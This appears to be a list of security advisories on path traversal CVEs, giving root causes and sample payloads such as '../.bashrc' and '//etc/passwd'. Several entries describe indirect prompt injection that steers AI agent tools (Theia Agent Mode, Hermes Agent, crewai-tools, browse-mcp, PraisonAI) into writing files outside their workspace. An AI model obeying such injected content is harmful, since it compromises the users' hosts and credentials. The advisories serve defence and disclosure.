Path Traversal

Path traversal in Eclipse Theia 1.73.0-1.74.x AI Agent Mode allows arbitrary file writes outside the workspace with backend OS user privileges through model-supplied paths that bypass workspace-containment checks. The affected tools - writeFileContent, suggestFileContent, and associated replacement and state helpers - accept relative paths such as ../.bashrc, absolute paths, or tilde-expanded paths like ~/.ssh/authorized_keys without boundary validation. Because path arguments derive from LLM output, an indirect prompt injection attack embedded in developer-loaded content can steer writes to host-executed files and escalate to backend code execution; Agent Mode applies writes silently with no confirmation dialog. No public exploit code or CISA KEV listing exists at time of analysis, though the prompt-injection attack surface is realistic in cloud IDE deployments.

Arbitrary file read in ILIAS's SOAP addFile method permits any authenticated low-privilege user to retrieve server-side files by supplying crafted XML with COPY-mode import entries that contain absolute attacker-controlled paths. The flaw spans three major release lines - all versions before 9.22, 10.0 through 10.9, and 11.0 through 11.2 - and is particularly damaging because the targetable files include ILIAS configuration files storing database credentials and setup passwords, enabling lateral movement to backend systems. No public exploit identified at time of analysis, though the vendor patch commit publicly documents the exact vulnerable code path, substantially reducing the effort required for independent exploit development.

Arbitrary file write via path traversal in AshAdmin's file upload handler affects versions 0.13.7 through 1.3.0, enabling any authenticated admin user to write attacker-controlled bytes to any filesystem path writable by the BEAM process. The root cause is that browser-supplied filenames are concatenated into upload paths via Elixir's Path.join/1 without stripping directory components, so a crafted filename such as ../../../../var/www/app/priv/static/evil.ex escapes the randomized temp directory. No public exploit has been identified at time of analysis, but the primitive directly enables remote code execution by overwriting application modules, static assets, cron jobs, or SSH authorized_keys files.

Path traversal in MetaGPT 0.8.1's SPO extension exposes arbitrary server-side files to unauthenticated remote attackers via a crafted FILE_NAME parameter. The flaw in metagpt/ext/spo/utils/load.py allows set_file_name() and load_meta_data() to open attacker-controlled paths - including traversal sequences - without confirming the resolved path remains within the intended settings directory. A public proof-of-concept writeup exists on GitHub; no active exploitation is confirmed in CISA KEV at time of analysis.

Path traversal in AJCloud's AJY IPC camera firmware (jdbhttpd web service, port 80) allows unauthenticated remote attackers to read arbitrary files with root privileges on devices running firmware prior to 01.10715.11.37. Sensitive data directly accessible includes cleartext RTSP credentials, Wi-Fi SSID and pre-shared key, device serial numbers, and cloud binding parameters, enabling material follow-on attacks beyond the device itself. No public exploit code has been identified at time of analysis, but the attack primitive requires no authentication and no special conditions beyond network reachability.

Path traversal in Pake before 3.13.1 allows a malicious or compromised web page loaded inside any Pake-generated desktop app to write attacker-fetched content to arbitrary user-writable filesystem locations, including persistence directories. The `download_file` Tauri command accepted a JavaScript-supplied filename and joined it directly to the Downloads directory without stripping path separators or sanitizing sequences such as `../`, enabling writes to locations such as `~/Library/LaunchAgents/` on macOS, `~/.config/autostart/` on Linux, or the Windows Startup folder. Because the HTTP fetch is performed by the Rust backend rather than the sandboxed browser renderer, browser-level download restrictions do not apply. No public exploit is identified at time of analysis, though the attack primitive is straightforward given JFrog's public disclosure.

Directory traversal in Cloud Commander (coderaiser/cloudcmd) before 19.20.2 lets remote unauthenticated attackers read, write, move, or copy files outside the configured root directory by supplying path-traversal sequences to REST file-operation and markdown endpoints. The root cause is missing path-normalization enforcement before filesystem operations, giving full arbitrary file read/write on the host filesystem. No public exploit identified at time of analysis, but a vendor-released patch (v19.20.2) and a fixing commit with a working url-encoded traversal test case are publicly available, lowering the barrier to reproduction.

Directory traversal in the cohttp OCaml HTTP library before version 6.3.0 allows unauthenticated remote attackers to read arbitrary files outside the configured document root by supplying percent-encoded path traversal sequences such as `..%2f..%2f` in HTTP request URIs. The root cause (CWE-180) is that `Cohttp.Path.resolve_local_file` validated and stripped `.` and `..` segments before percent-decoding the URI, meaning encoded traversal bypassed sanitization entirely. No public exploit code or CISA KEV listing has been identified at time of analysis, but the network-accessible, zero-authentication attack surface makes this a straightforward read primitive for any server using cohttp's static file resolution.

Path traversal in IBM Langflow OSS 1.0.0 through 1.11.1 exposes arbitrary server-side files to unauthenticated remote attackers over the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms low-complexity exploitation requiring no credentials or user interaction, with high confidentiality impact limited to file reads - no write or availability impact. No public exploit code or active exploitation via CISA KEV has been identified at time of analysis, but the unauthenticated network vector and low attack complexity make internet-facing instances a realistic opportunistic target once details circulate.

Credential store overwrite in NousResearch Hermes Agent versions 0.16.0 through pre-0.17.0 is achievable by any attacker who can inject content into messages ingested by the agent, exploiting a gap in the sensitive-path guard (CWE-552) that failed to properly exclude auth.json from the file-write tool's reachable paths. By crafting malicious message payloads, an attacker bypasses the path restriction and overwrites the credential store without triggering any protection, resulting in credential tampering and potential unauthorized access to all identities stored therein. No public exploit has been identified at time of analysis, and a vendor-released patch (v0.17.0) is available.

Unauthenticated directory traversal in Yamcs versions up to and including 5.8.6 (per advisory scope, < 5.11.13 per package metadata) allows any remote attacker to read arbitrary files from the underlying host operating system by sending a crafted HTTP request. The flaw resides in StaticFileHandler.java, which resolves user-supplied URL paths against a static file root without verifying the resolved path stays within that root - a double-slash prefix (e.g., //etc/passwd) is sufficient to escape the boundary. No public exploit identified at time of analysis, though the steps-to-reproduce are fully published in the GitHub Security Advisory and the vulnerability was demonstrated in a public CTF challenge at DEFCON 33.

Arbitrary file write in BuilderIO gpt-crawler through 1.5.1 allows unauthenticated remote attackers to overwrite any file on the server filesystem by supplying absolute paths or path traversal sequences in the unsanitized `outputFileName` parameter of the POST /crawl endpoint. File content is sourced from attacker-controlled URLs, making this a combined path traversal and server-side fetch primitive capable of depositing web shells, poisoning cron jobs, or corrupting application configs. No public exploit code or CISA KEV listing exists at time of analysis; the CVSS 4.0 score of 8.8 reflects high integrity impact with no authentication barrier.

Path traversal in Qwen-Agent through 0.0.34 allows unauthenticated remote attackers to read arbitrary files from the server filesystem by supplying absolute paths to the Gradio document-parsing interface. The flaw exists in the simple_doc_parser and supporting utility code, which pass caller-controlled paths directly to file-open operations without restricting access to an intended directory. The CVSS 4.0 score of 8.7 (AV:N/AC:L/PR:N) reflects a zero-prerequisite, network-accessible attack surface; no active exploitation is confirmed in CISA KEV and no public POC has been identified at time of analysis.

Path traversal and trust inheritance flaws in gitoxide's Rust crates gix (≤ 0.72.0) and gix-validate (≤ 0.10.0) allow an attacker who supplies a malicious repository to read arbitrary git configuration files - including embedded credentials - from a victim system. The attack chains three bugs: a first-occurrence-only `find(b"..")` check in submodule name validation that is bypassed by names like `a..b/../../../.git/`, the fact that this validation function is never invoked in production code, and a trust inheritance flaw in `Submodule::open()` that propagates the parent repository's `Trust::Full` to the traversed path while skipping ownership verification entirely. No public exploit has been identified at time of analysis, though a compiled PoC was referenced (truncated) in the GHSA advisory.

Path traversal in gitoxide before 0.52.1 and gix before 0.83.0 allows an attacker who supplies a malicious git repository to redirect submodule git directory resolution outside .git/modules, exposing arbitrary on-disk repository structure to inspection. The flaw stems from submodule names read from .gitmodules being joined directly as filesystem path components with no normalization or confinement check, so a name such as '../../../escaped-target.git' escapes the expected directory boundary. A proof-of-concept is publicly available via GHSA-fr8x-3vfx-f45h; no confirmed active exploitation at time of analysis.

Arbitrary file write leading to root remote code execution affects Wazuh worker nodes in clustered deployments running versions 4.4.0 through 4.14.6. A peer that possesses the shared cluster key can abuse the file-synchronization routine to drop, overwrite, or delete files at attacker-chosen paths under /var/ossec - including scripts executed as root - because the worker's non-merged sync branch never verifies that a synced file matches the directory declared by its cluster_item_key. This is an incomplete fix for CVE-2026-30893, and no public exploit has been identified at time of analysis; it is fixed in 4.14.7.

Path traversal in Wazuh's ip-customblock active response script allows low-privileged remote attackers to create or delete arbitrary files as root by injecting directory traversal sequences into the srcip field of alert-triggering log events. Versions prior to 4.14.7 are affected when ip-customblock is configured as an active response - the block action creates an empty file at an attacker-controlled path, while the unblock action deletes it, both executing as root and enabling destruction of credentials, configuration, or other critical files. No public exploit has been identified at time of analysis, and this CVE is not listed in the CISA KEV catalog, though the missing validation is trivially observable by comparing ip-customblock.c against its sibling scripts.

Path traversal via unsanitized MIME attachment filenames in Dolibarr's EmailCollector module allows any email sender to write attacker-controlled files outside the intended attachment directory, affecting versions 9.0.0 through 23.0.4. Because the EmailCollector is designed to ingest mail from unauthenticated external senders - such as a support or ticket inbox - no Dolibarr account is required to exploit this flaw. On hardened deployments with a read-only htdocs tree, the attacker can corrupt or forge documents belonging to other objects; on installations where htdocs is writable, the same write primitive reaches web-executable PHP paths, enabling remote code execution. No public exploit identified at time of analysis.

Unauthenticated remote code execution in Unitree G1 EDU firmware through 1.5.2 allows any network-adjacent attacker to gain a root shell on the robot by chaining three design flaws without credentials or user interaction. The attack exploits an open WebRTC-to-DDS bridge on TCP port 9991, a hardcoded world-readable AES-128 key, and a path traversal flaw in the chat_go knowledge upload API to plant and execute arbitrary scripts as uid 0 via the bashrunner service. Publicly available exploit code (UniBLEed on GitHub) and a full technical writeup confirm reliable exploitation; no KEV listing has been observed, but the adjacent-network vector makes this a real priority for any institution operating these robots on shared campus or lab networks.

Grafana Alloy's prometheus.operator.servicemonitors component exposes an arbitrary local file read path that leads to credential theft and potential Kubernetes privilege escalation. Any Kubernetes user with ServiceMonitor create or modify rights in a namespace watched by Alloy can point the bearerTokenFile field at any file accessible to the Alloy process - most critically Alloy's own projected Kubernetes service account token - and receive that file's contents exfiltrated via HTTP Bearer token to an attacker-controlled scrape endpoint. The CVSS 7.7 Scope:Changed rating correctly reflects that successful exploitation transcends the compromised namespace, potentially granting the attacker cluster-level API access commensurate with Alloy's own RBAC permissions. No public exploit has been identified at time of analysis.

Path traversal in NLTK through version 3.10.3 allows attackers who control caller-supplied file paths to read or write files outside the boundaries enforced by the pathsec sandbox module. The affected APIs - TransitionParser, AveragedPerceptron, PerceptronTagger, and maxent parameter loading - perform raw file I/O directly on caller-provided paths without routing through pathsec enforcement, undermining the intended access control boundary. The CVSS 4.0 score of 8.3 reflects high confidentiality impact; no public exploit code or CISA KEV listing has been identified at time of analysis.

Path traversal in the openssl-encrypt pip package (versions before 1.4.9) enables a sandboxed plugin to escape its intended isolation and access or modify a sibling plugin's files when the two plugin directories share a name prefix. The flaw in PluginSandbox._is_safe_path performs a bare string-prefix match rather than an exact directory boundary comparison, so a plugin allowed under .../plugins/foo incorrectly passes the safety check for .../plugins/foobar. Vendor-released patch version 1.4.9 corrects the flaw; no public exploit code has been identified and the package is absent from the CISA KEV catalog.

Path traversal in Volmarg Personal Management System exposes arbitrary server-side files to any authenticated user through the GET /public/get-file/{path} endpoint. The Symfony PHP controller forwards the route parameter directly to file_get_contents() without canonicalization or base-directory enforcement, making absolute filesystem paths such as /etc/passwd or application .env files fully retrievable within the PHP-FPM worker's permission boundary. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low attack complexity and high confidentiality impact make this an urgent remediation target for any self-hosted deployment storing sensitive personal or credential data.

Remote code execution via log path traversal in Flowintel 3.3.0 and later is achievable by an authenticated administrator who redirects the LOG_FILE configuration setting to an arbitrary filesystem path and injects server-side template syntax through attacker-controlled logged content. The upstream commit explicitly documents this multi-step exploitation chain - redirecting log output to a template file and triggering application rendering to execute injected code - making weaponization technically straightforward for any attacker holding admin credentials. No public exploit or CISA KEV listing is identified at time of analysis; upstream fix is available as a GitHub commit from the Flowintel maintainer CIRCL.

Flowintel's PDF export pipeline passes attacker-controlled note content to Pandoc with the raw_tex extension enabled, allowing authenticated users to inject XeLaTeX directives such as \input{} or \verbatiminput{} that cause the server to read arbitrary local files and embed their contents into the exported PDF. Any authenticated user with note-editing access can exploit this to exfiltrate sensitive server-side files - credentials, keys, or intelligence data stored on the host. No public exploit has been identified at time of analysis, but the LaTeX injection-to-file-read technique is well-documented and requires no specialized tooling.

Server-side request forgery and remote code execution affect the Spring Framework's XsltView component across the 5.2.x through 7.0.x branches (5.2.25.RELEASE and earlier, 5.3.0-5.3.49, 6.0.0-6.0.30, 6.1.0-6.1.28, 6.2.0-6.2.19, and 7.0.0-7.0.8). When a Spring MVC application maps '/**' to view rendering and does not explicitly set a view name, an attacker can steer view resolution to XsltView and supply a path that triggers outbound requests and code execution. There is no public exploit identified at time of analysis, and the EPSS probability is low (0.16%), but SSVC rates the technical impact as total and automatable.

Path traversal in Lektor's built-in preview and development HTTP server on Windows exposes arbitrary files to unauthenticated network attackers in all versions prior to 3.3.14. Crafted HTTP requests containing path traversal sequences exploit Windows-specific path separator handling to escape the configured web root and read any file accessible to the Lektor process, including system files and deployment configuration files that may contain credentials. A public proof-of-concept exploit is available; no confirmed active exploitation via CISA KEV has been recorded.

Arbitrary PHP file overwrite in Veno File Manager 4.4.9 allows an authenticated super administrator to replace any PHP file in the application by exploiting a path traversal flaw in the translations update endpoint. Sending a crafted POST request to /vfm-admin/index.php?section=translations&action=update with a manipulated file path parameter causes the application to write attacker-controlled content to arbitrary PHP files, effectively enabling remote code execution via web shell deployment. A public proof-of-concept repository exists at github.com/jfs-jfs/CVE-2026-37068, though EPSS sits at 0.16% and no active exploitation is confirmed.

Arbitrary file deletion in Veno File Manager (VFM) 4.4.9 lets attackers destroy files outside the intended scope by supplying a crafted path in the `remove=` parameter of the translations-update handler (/vfm-admin/index.php?section=translations&action=update). Because path traversal is not neutralized, an attacker can delete configuration, application, or user files anywhere the web server has write access, enabling denial of service, defacement, or removal of security-relevant files. Publicly available exploit code exists (GitHub PoC), though EPSS remains low (0.16%) and the flaw is not in CISA KEV.

Arbitrary file write leading to code execution in crewai-tools' FileWriterTool (crewAI agent-tools package) through 1.10.2rc1 lets an attacker supply path-traversal sequences (../), absolute paths, or symlink escapes in the tool's filename argument to write content anywhere the process can reach. Because these tools are driven by LLM agents, the practical trigger is untrusted/injected content steering the agent to write outside its intended directory, overwriting code or config to gain execution. No public exploit identified at time of analysis; EPSS is low (0.26%, 17th percentile) and it is not in CISA KEV.

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended preview directory via the /api/static/{deployKey}/ static-resource endpoint, which concatenates attacker-controlled path segments to the preview root without normalization. Publicly available exploit code exists, though the flaw is not listed in CISA KEV and carries a low EPSS score (0.15%, 4th percentile), indicating no evidence of widespread active exploitation. The practical impact is unauthenticated disclosure of sensitive server-side files (source code, configuration, secrets), not code execution.

Arbitrary file read via symlink traversal in Weblate's App store metadata ZIP download affects all versions prior to 2026.7, allowing project administrators to exfiltrate host files outside their repository boundary. The vulnerability is an incomplete fix for CVE-2026-34242 - the original patch blocked path traversal via '..' sequences but failed to prevent symlink-based traversal, leaving the arbitrary file read primitive intact. No public exploit has been identified at time of analysis; the CVSS score of 7.7 High reflects scope change due to cross-boundary file disclosure, while the project-administrator privilege requirement limits the exploitable population.

Path traversal in Mage AI through version 0.9.79 allows any authenticated Viewer-role user to read arbitrary files accessible to the server process by supplying absolute paths to the browser-items API endpoint. The BrowserItemResource class in mage_ai/api/resources/BrowserItemResource.py omits the containment check that sibling classes FileContentResource and FileResource both apply, and the role-based access control enforcement that would otherwise restrict this route is disabled by default. No public exploit or CISA KEV listing has been identified at time of analysis, but the low privilege bar and default-off RBAC enforcement make this a meaningful risk for any multi-user Mage AI deployment.

Path traversal in IzPack's UnpackerBase.unpack() enables arbitrary file writes under victim privileges when a user executes a trojanized installer JAR. The unpacking pipeline calls IoHelper.translatePath(), which performs only file-separator substitution with no canonical-path check, no startsWith(installDir) containment guard, and no normalization of '../' sequences, allowing attacker-controlled PackFile entries to escape the install directory entirely. Because IzPack JARs are standard unsigned ZIPs with no integrity protection, any legitimate IzPack installer can be silently repackaged with malicious entries; a publicly available proof-of-concept confirms the escape. The CVE is not listed in CISA KEV, but the trivial repacking method and social-engineering distribution vector make this a credible supply-chain threat to organizations consuming IzPack-packaged software from untrusted sources.

Directory traversal in Formidable Charts (WordPress plugin, versions up to and including 2.0.1) allows unauthenticated network attackers to read arbitrary server-side files via the unsanitized `frm_graph` parameter, exposing sensitive data such as WordPress configuration credentials. Exploitation requires three co-active plugins and a pre-existing image-chart uploads directory, making this a targeted but credible risk for active users of the full Formidable Forms and Charts stack. No public exploit code or CISA KEV listing has been identified at time of analysis; fix version 2.0.2 is available per the official Formidable Forms changelog.

Path traversal in TeamViewer Desktop Clients prior to version 15.81.5 allows an authenticated remote session participant to write files to arbitrary locations on the victim's local filesystem via the file transfer and virtual file clipboard features. The affected product family spans Full Client, Host, QuickSupport, and Portable editions across Windows, Linux, and macOS, covering the v13, v14, and current v15 release lines. Arbitrary file write can be chained to code execution at the privilege level of the user running TeamViewer; no public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV.

Path traversal in the AI Engine WordPress plugin (versions 3.3.3 through 3.7.1) allows arbitrary server file reads with subsequent exfiltration to an external service. When the plugin's non-default public API feature is enabled, subscriber-level users can supply a crafted URL that the plugin maps to a local filesystem path without confinement, reads, and forwards to an external AI endpoint. In default configurations the flaw is limited to administrator-level users, but on WordPress multisite networks this allows unprivileged subsite administrators to extract network-wide configuration secrets. A publicly available POC exists, though EPSS at 0.19% indicates no widespread automated exploitation at time of analysis.

Arbitrary file write and directory deletion in compliance-trestle's catalog-generate, profile-generate, and ssp-generate author commands exposes CI/CD pipelines to workspace-escape attacks when output arguments are derived from untrusted data. The affected commands construct output paths by joining a user-supplied argument onto the Trestle workspace root, but apply only a task-name-collision check rather than the PathSecurityValidator guard already used by the jinja command - allowing absolute paths or traversal sequences to escape the workspace entirely. With --force-overwrite, the primitive escalates to recursive deletion of an attacker-chosen directory tree followed by file creation, enabling indirect code execution by overwriting files (e.g., .github/workflows, .git/hooks, shell profile scripts) that a downstream pipeline subsequently executes. No public exploit is identified at time of analysis, though the GHSA advisory for the related jinja variant (GHSA-4q5v-7g7x-j79w) contains a detailed reproduction procedure.

Unauthenticated path traversal in yx-image-recognition v1.0 exposes arbitrary files on the host filesystem to remote attackers. Parameters `dir` and `filePath` are passed unsanitized directly to Java's `new File()` constructor, enabling directory traversal sequences (e.g., `../../`) to escape the intended working directory. No public exploit identified at time of analysis, and EPSS of 0.14% (4th percentile) indicates low observed exploitation probability, though a researcher-published report with technical detail exists on GitHub.

Path traversal in UnPoller 2.33.0's password field enables unauthenticated remote attackers to read arbitrary files from the host filesystem and exfiltrate their contents over the network. The CVSS 7.5 (High) vector reflects a fully network-accessible, zero-authentication attack with high confidentiality impact against the affected version. A public exploit repository (github.com/SyntaxSaiyan/CVE-2026-36851) exists, though EPSS stands at just 0.22% (12th percentile) and no CISA KEV listing is present, indicating no public exploit identified at time of analysis as having been broadly weaponized.

Arbitrary file read via path traversal in DocSys-master V2.02.85 exposes the server filesystem to unauthenticated remote attackers through the downloadDocEx endpoint in DocController.java, which fails to sanitize user-supplied path parameters. Publicly available exploit code exists per SSVC poc status and the GitHub reference. Despite a CVSS 7.5 score with high confidentiality impact, EPSS of 0.14% (4th percentile) indicates very low observed exploitation activity, likely reflecting the product's obscure deployment footprint rather than low exploitability.

Unauthenticated arbitrary file download in DocSys V2.02.80 exposes the entire server filesystem to remote attackers via the `downloadDocEx.do` endpoint. The `targetPath` parameter accepts arbitrary filesystem paths with no authentication gate, allowing any unauthenticated network attacker to retrieve sensitive files such as configuration files, credentials, or application data. No public exploit code has been identified at time of analysis, and EPSS at 0.17% (6th percentile) signals low current exploitation activity, though the attack is trivially simple to reproduce.

Unauthenticated arbitrary file write in DB-GPT 0.8.0 lets remote attackers achieve remote code execution through the skill_upload endpoint, which builds an upload path by joining the user-controlled multipart filename to the upload directory without canonicalisation or containment checks. Because the route's only auth dependency (get_user_from_headers) returns an admin-role request even when no credentials are supplied, an attacker with no account can write a .py file such as ../../../tmp/x or /tmp/x anywhere the server process can write, then plant or overwrite a Python module that executes when next imported. No public exploit has been identified at time of analysis, and it is not listed in CISA KEV, but the flaw is trivially exploitable and fixed in v0.8.1.

Arbitrary root file write in SonicWall NetExtender Linux client (versions 10.3.5 and earlier) is achievable by an unauthenticated remote attacker who delivers a malicious OPSWAT tarball containing path-traversal sequences, exploiting CWE-29 to escape the intended extraction directory and overwrite system files as root. Exploitation requires user interaction (CVSS UI:R) to trigger tarball processing, and no public exploit code or CISA KEV listing has been identified at time of analysis. EPSS stands at 0.20% (9th percentile), consistent with the SSVC assessment of exploitation status 'none' and automatable 'no', though the technical impact is rated total.

Path traversal in NVIDIA OpenShell Sandbox for Linux permits low-privileged network-authenticated attackers to bypass L7 REST network policy enforcement, reaching REST endpoints that policy rules were designed to block. The Changed Scope (S:C) in the CVSS vector signals that the real impact falls on downstream services or data stores protected by the bypassed policy, yielding high confidentiality exposure (C:H) and limited integrity impact (I:L) on resources outside the sandbox trust boundary. No active exploitation has been confirmed in CISA KEV and no public proof-of-concept has been identified at time of analysis.

Arbitrary file write in sublinear-time-solver's MCP export_state and import_state tools allows any caller able to invoke the MCP interface to overwrite files accessible to the server process - including sensitive targets such as ~/.ssh/authorized_keys or application binaries - by supplying a path-traversal filepath argument. Affected packages are consciousness-explorer (npm) < 1.1.2, sublinear-time-solver (npm) < 1.6.0, and the Rust crate sublinear < 0.2.0. No public exploit or CISA KEV listing has been identified at time of analysis, but the write-anywhere primitive carries inherent high-impact potential against deployments that expose the MCP server to untrusted callers.

Arbitrary file write in browse-mcp (npm, versions ≤ 0.8.1) allows a malicious MCP client - or an autonomous LLM agent steered by indirect prompt injection on a visited page - to write attacker-controlled bytes to any filesystem path the process can reach, including shell init files, autostart entries, and cron files, enabling host code execution. The root cause is CWE-22 path traversal in browser_download (unvalidated save_dir argument) and browser_save_state/browser_load_state (unvalidated path argument), compounded by the force_fetch fallback bypassing the BROWSE_MCP_ALLOWED_ORIGINS origin fence entirely. No public exploit has been identified at time of analysis; vendor-released patch 0.8.2 is confirmed available.

Path traversal via symlink bypass in NLTK corpus readers before 3.10.3 permits disclosure of arbitrary files outside the trusted corpus data root through standard API calls. Affected corpus reader methods - channels(), domains(), and synonyms() - reopen root-derived paths with Python's built-in open() rather than the secure nltk.pathsec.open(), which enforces symlink restrictions. An attacker who can stage symlinked files inside a trusted corpus directory can leverage this gap to read files the NLTK process can access on the host filesystem. No public exploit has been identified at time of analysis, and a vendor-released patch is available in NLTK 3.10.3.

Path traversal in praisonaiagents prior to 1.6.58 allows a low-privileged caller to write arbitrary JSON files to any process-writable filesystem location by supplying a crafted user_id containing ../ sequences to the FileMemory constructor. All versions of the praisonaiagents pip package below 1.6.58 are affected; the vulnerability exists in the core library's FileMemory class, not an example or optional component. A detailed proof-of-concept is included in the GitHub Security Advisory (GHSA-gxmw-5f7x-6g22), and no public exploit identified at time of analysis beyond that PoC; no CISA KEV listing exists.

Workspace boundary escape in PraisonAI's praisonai.code CODE_TOOLS exposes three independent path traversal vectors affecting all file operation and command execution tools exported for use by AI agents. Agents configured with a workspace parameter - intended as a filesystem security boundary - can be manipulated via prompt injection or untrusted input to read, write, enumerate, and execute commands outside that boundary, bounded only by the process user's OS permissions. Publicly available proof-of-concept code demonstrates all six bypass paths against real praisonai.code agent tools; no CISA KEV listing exists at time of analysis.

Arbitrary file write via path traversal in the sos clean utility allows a local attacker to overwrite or create files at any location on the system by supplying a crafted tar archive to a privileged operator. The vulnerability exists across all supported Red Hat Enterprise Linux versions (6 through 10) and stems from sos clean's use of Python's fully_trusted_filter (or its legacy equivalent) during tar extraction, which performs no validation of symlink or hardlink targets - permitting escape from the intended extraction directory. Because sos clean commonly runs as root, successful exploitation yields full system compromise. No public exploit code has been identified at time of analysis and the vulnerability is not listed in CISA KEV.

Remote code execution in Crater Invoice through 6.0.6 is achievable by any authenticated company owner via a Zip Slip attack against the self-update API's unzip endpoint. Crafted ZIP archives containing path-traversal sequences (`../`) in entry names are passed without sanitization to PHP's `ZipArchive::extractTo()`, enabling arbitrary PHP file writes into the web-accessible `public/` directory and subsequent webshell execution. A public proof-of-concept is available on GitHub; no CISA KEV listing was identified at time of analysis, though the combination of a low exploitation bar and public PoC makes this a priority finding.

Remote code execution in WatchGuard Agent lets an unauthenticated attacker positioned on an adjacent network chain a missing-authentication weakness (CWE-306) with path traversal into arbitrary code execution on the host. Rated CVSS 4.0 9.4 (Critical) by WatchGuard, the flaw combines an authentication bypass with directory traversal so no credentials or user interaction are required. No public exploit identified at time of analysis and it is not listed in CISA KEV, but the network-adjacent, no-auth, high-impact profile makes it a high-priority patch item.

Arbitrary directory creation and potential hook-based code execution in GitPython affects all releases before 3.1.59. The library's clone operations omit `--separate-git-dir` from the `unsafe_git_clone_options` blocklist, so any application that passes attacker-controlled values to `Repo.clone_from()` or `Repo.clone()` allows git to redirect repository metadata to an arbitrary filesystem path. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the path-traversal primitive combined with git-hook execution capability produces a realistic high-integrity-impact scenario in exposed applications.

Path traversal in Grav CMS before 2.0.16 exposes arbitrary server-side files to authenticated page authors through the `media_directory()` Twig function, which fails to validate attacker-supplied filesystem paths. Users holding page authoring privileges can supply arbitrary paths to `media_directory()` and then invoke the allow-listed filepath accessor on the resulting Medium object to read the contents of any file accessible to the web server process whose extension matches the CMS media allow-list. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the low privilege requirement and high confidentiality impact make this a meaningful risk in any multi-author or externally-accessible Grav deployment.

Arbitrary file deletion in Grav CMS before 2.0.16 allows authenticated users holding media management permissions to delete files anywhere on the server filesystem via path traversal sequences in filenames passed to MediaUploadTrait::deleteFile(). The root cause is that deleteFile() validates only the basename of a supplied filename while passing the full, unvalidated path - including ../ sequences - directly to PHP's unlink(). No public exploit or CISA KEV listing exists at time of analysis, but the low attack complexity makes this straightforward to weaponize for any user who holds media upload/delete rights.

Arbitrary file deletion in Adminer before 5.4.3 exposes any file writable by the PHP process to authenticated attackers operating in SQLite mode by abusing unvalidated relative path input in the db[] parameter during database drop operations. The root cause is a missing file extension check in the SQLite drop action (CWE-22 path traversal), allowing directory traversal sequences to escape the intended SQLite database directory. No public exploit code and no CISA KEV listing have been identified at time of analysis; however, the deterministic nature of path traversal exploitation makes the vulnerability straightforward to weaponize once authenticated access is obtained.

Unauthenticated arbitrary file deletion in the MasterStudy LMS WordPress plugin (versions ≤ 3.7.42) allows remote, unauthenticated attackers to delete arbitrary files on the server via path traversal. The CVSS 8.6 vector (AV:N/AC:L/PR:N/UI:N/S:C/A:H) confirms no authentication or user interaction is required and that impact extends beyond the plugin's own scope to server-level files. No public exploit code or CISA KEV listing has been identified at time of analysis, but the zero-prerequisite attack surface makes this a high-priority patch target for all WordPress deployments running the affected plugin.

Arbitrary file write via path traversal in the Apache Camel Google Cloud Storage consumer component affects versions 4.0.0 through 4.21.x, allowing anyone who can influence GCS bucket object names to cause the Camel process to create or overwrite files outside the configured download directory. The consumer appends blob names verbatim to the local path using the unsanitized ${file:name} token without directory containment checks, and the filter option that could restrict object names is disabled by default. No public exploit is identified at time of analysis; SSVC rates the flaw automatable once malicious object names are present in the consumed bucket, and vendor-released patches are available at 4.14.9, 4.18.4, and 4.22.0.

Arbitrary file write via path traversal in the Apache Camel camel-azure-storage-blob component lets an attacker who can influence blob names in a consumed Azure Storage container force Camel to create or overwrite files outside the configured download directory, with the privileges of the Camel process. It affects Apache Camel 4.0.0 before 4.14.9, 4.15.0 before 4.18.4, and 4.19.0 before 4.22.0, where BlobOperations.downloadBlobToFile joined the fileDir option with the raw remote blob name without normalization or containment checks. No public exploit has been identified at time of analysis and the CVSS is 9.1, but EPSS is low (0.18%, 7th percentile), indicating no observed exploitation activity yet.

Authenticated path traversal in rConfig before 8.2.13 allows any logged-in user to read arbitrary files accessible by the application process by supplying crafted filenames containing directory traversal sequences to the export download endpoint. The fix is confirmed in rConfig V8 Core 8.2.13, released as a dedicated security update and documented in GitHub advisory GHSA-m5rw-jcrm-mmwc. No public exploit code or CISA KEV listing has been identified at time of analysis; however, the release notes reveal that 8.2.13 simultaneously patched multiple related path-containment deficiencies across the application, indicating a systemic pattern rather than an isolated flaw.

Path traversal in AWX's project_archive action plugin allows arbitrary file writes to execution node filesystems outside the intended project directory. Red Hat Ansible Automation Platform 2 is affected when processing zip or tar archives whose member filenames contain directory traversal sequences. An attacker who controls archive content - via admin-level project configuration, a compromised upstream archive source, or a man-in-the-middle attack on an unencrypted HTTP fetch - can write files as the extraction user and escalate to remote code execution through cron entries, SSH authorized_keys injection, or playbook content poisoning. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV.

Path traversal in RansomLook's GroupPost.get API handler allows an attacker controlling a malicious upstream instance to exfiltrate arbitrary files readable by the RansomLook process, including configuration secrets and API credentials. The screen field stored in the database is concatenated directly with the application's source/ directory path without boundary validation, enabling traversal sequences such as ../config/generic.json to escape the intended directory. No public exploit code has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the federation import mechanism means a compromised upstream instance can poison a victim's database without holding any account on the victim system.

Path traversal in webpack-dev-middleware bypasses the incomplete CVE-2024-29180 fix by embedding dot-dot sequences within path segments (e.g., 'assets..') rather than as standalone segments, causing the UP_PATH_REGEXP guard to pass while the subsequent fixed-offset slice produces a parent-directory component that resolves above outputPath on the physical filesystem. Affected versions are precisely 5.3.4+, 6.1.2+, and 7.1.0+ - the releases that introduced the original guard-and-slice logic intended to fix path traversal. Exploitation is constrained to non-default configurations where publicPath lacks a trailing slash and the physical filesystem is in use via writeToDisk: true or a custom outputFileSystem; no public exploit identified at time of analysis, though a functional PoC for the predecessor attack class exists in GHSA-wr3j-pwj9-hqq6.

